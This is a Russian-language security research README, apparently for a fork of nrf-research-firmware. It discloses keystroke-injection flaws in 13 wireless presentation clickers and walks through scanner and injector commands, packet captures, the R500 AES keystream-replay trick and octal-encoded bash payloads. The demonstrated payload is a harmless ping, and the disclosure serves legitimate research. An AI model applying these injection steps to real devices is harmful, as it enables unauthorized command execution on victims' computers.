
Уязвимости инъекции нажатий клавиш в беспроводных презентационных кликерах
Мне захотелось заняться реверс-инжинирингом RF-устройств, поэтому я заказал несколько презентационных кликеров и немного повеселился.
Это форк nrf-research-firmware (который я написал несколько лет назад в Bastille). Я добавил поддержку нескольких новых трансиверов/протоколов и включил PoC-эксплойты инъекции нажатий клавиш для 13 распространённых презентационных кликеров.
| Производитель | Модель | Протокол | RFIC | Добавлено |
|---|---|---|---|---|
| AmazonBasics | P-001 | AmazonBasics P-001 | nRF24 | 2019-04-20 |
| Canon | PR100-R | Canon PR100-R | PL1167 | 2019-04-20 |
| Funpick | Wireless Presenter | HS304 | HS304 | 2019-04-20 |
| AMERTEER | Wireless Presenter | HS304 | HS304 | 2019-04-20 |
| BEBONCOOL | D100 | HS304 | HS304 | 2019-04-20 |
| ESYWEN | Wireless Presenter | HS304 | HS304 | 2019-04-20 |
| Red Star Tech | PR-819 | HS304 | HS304 | 2019-04-20 |
| DinoFire | D06-DF-US | HS304 | HS304 | 2019-04-20 |
| TBBSC | DSIT-60 | TBBSC DSIT-60 | BK2451 | 2019-04-21 |
| Rii | Wireless Presenter | Rii Wireless Presenter | BK2451 | 2019-04-21 |
| Logitech | R400 | Logitech Unencrypted | nRF24 | 2019-04-21 |
| Logitech | R800 | Logitech Unencrypted | nRF24 | 2019-04-21 |
| Logitech | R500 | Logitech Encrypted | nRF24 | 2019-04-21 |
Это стандартный зашифрованный протокол клавиатур Logitech, используемый в R500. Он частично уязвим к атаке «инъекция зашифрованных нажатий клавиш», которую я задокументировал для клавиатур Logitech Unifying в рамках проекта MouseJack.
Я говорю частично, потому что принимаются не все HID-скан-коды. А именно, 0x04-0x1D (A-Z) заменяются на 0x00, когда приёмник отправляет пакет на хост-компьютер, а это значит, что мы можем внедрить всё, что угодно, если это не буква. Ещё одно исключение — комбинации с ctrl разрешены, даже когда они содержат буквы.
Для эффективной инъекции нажатий клавиш через R500 необходимо проявить немного креативности.
Предположим, цель находится в bash-сессии. В bash мы можем закодировать наши символы в восьмеричной системе, кодируя команды, содержащие буквы, которые мы хотим, чтобы цель выполнила.
Например, ping google.com кодируется как $'\160\151\156\147' $'\147\157\157\147\154\145\056\143\157\155'. Если отправить эту строку в bash-сессию, а затем отправить enter, команда ping google.com будет выполнена на целевой машине.
Адрес вашего Logitech R500 можно найти с помощью nrf24-scanner следующим образом:
sudo ./tools/nrf24-scanner.py -c {2..74..3} -l
Пакеты должны выглядеть примерно так:
[2019-04-21 13:11:52.507] 62 5 85:D1:9D:FE:07 00:40:00:08:B8
[2019-04-21 13:11:52.515] 62 5 85:D1:9D:FE:07 00:40:00:08:B8
[2019-04-21 13:11:52.523] 62 22 85:D1:9D:FE:07 00:D3:4D:6F:B6:1B:E6:05:A2:B4:8B:98:F9:C2:00:00:00:00:00:00:00:81
Инъекция возможна, потому что приёмник не обеспечивает приращение счётчиков AES, поэтому вы можете повторять пакеты. Пакет, передаваемый по радио (OTA), состоит из полезной нагрузки USB HID, зашифрованной в режиме счётчика AES, и счётчика. Когда вы нажимаете кнопку на презентационном кликере, генерируются пакет нажатия клавиши и пакет отпускания клавиши. Пакет отпускания клавиши состоит из одних нулей, что даёт нам чистый ключевой материал, который можно повторно использовать: применить XOR с нашей собственной полезной нагрузкой и передать по радио.
Автоматизировать процесс прослушивания нажатия кнопки, извлечения второго пакета (отпускания клавиши) и автоматического использования его в качестве ключевого материала несложно. Но мне лень, поэтому сначала вам придётся самостоятельно перехватить нажатие кнопки, которое выглядит так:
[2019-04-21 16:02:56.451] 65 5 85:D1:9D:FE:07 00:40:00:08:B8
[2019-04-21 16:02:56.459] 65 5 85:D1:9D:FE:07 00:40:00:08:B8
[2019-04-21 16:02:56.468] 65 22 85:D1:9D:FE:07 00:D3:E6:7B:35:8C:BB:2C:7D:5B:8B:98:FA:76:00:00:00:00:00:00:00:B9
[2019-04-21 16:02:56.475] 65 5 85:D1:9D:FE:07 00:40:00:08:B8
[2019-04-21 16:02:56.507] 65 5 85:D1:9D:FE:07 00:40:00:08:B8
[2019-04-21 16:02:56.516] 65 22 85:D1:9D:FE:07 00:D3:99:D6:D3:8D:49:25:F5:4D:8B:98:FA:77:00:00:00:00:00:00:00:1A
[2019-04-21 16:02:56.524] 65 5 85:D1:9D:FE:07 00:40:00:08:B8
[2019-04-21 16:02:56.532] 65 5 85:D1:9D:FE:07 00:40:00:08:B8
Второй пакет длиной 22 байта — это пакет отпускания клавиши.
Удалите последний байт полезной нагрузки и скопируйте строку в logitech.py, заменив KEYUP_REF.
(Без обновления KEYUP_REF это не должно работать, но если сработает, пожалуйста, сообщите мне!)
Внедрите последовательность нажатий клавиш для bash-команды ping google.com, закодированную в восьмеричной системе, в конкретный приёмник Logitech R500 (адрес 85:D1:9D:FE:07):
sudo ./tools/r500-injector.py -l -a 85:D1:9D:FE:07
Это стандартный незашифрованный протокол Logitech, используемый в R400/R800.
Адрес вашего Logitech R400/R800 можно найти с помощью nrf24-scanner следующим образом:
sudo ./tools/nrf24-scanner.py -c {2..74..3} -l
Пакеты должны выглядеть примерно так:
[2019-04-21 12:58:43.466] 32 0 9D:9E:95:52:07
[2019-04-21 12:58:43.620] 32 10 9D:9E:95:52:07 00:C1:00:00:00:00:00:00:00:3F
Внедрите тестовую последовательность нажатий клавиш в конкретный приёмник Logitech R400/R800 (адрес 9D:9E:95:52:07):
sudo ./tools/preso-injector.py -l -f logitech -a 9D:9E:95:52:07
Беспроводной презентационный пульт Rii (в форме округлой ручки) основан на BK2451 (который, судя по всему, является клоном nRF24). Похоже, это общий протокол, учитывая распространённость аналогичных устройств, поэтому, вероятно, я переклассифицирую его после получения дополнительных данных.
Функционально это незашифрованная беспроводная клавиатура, уязвимая к инъекции нажатий клавиш.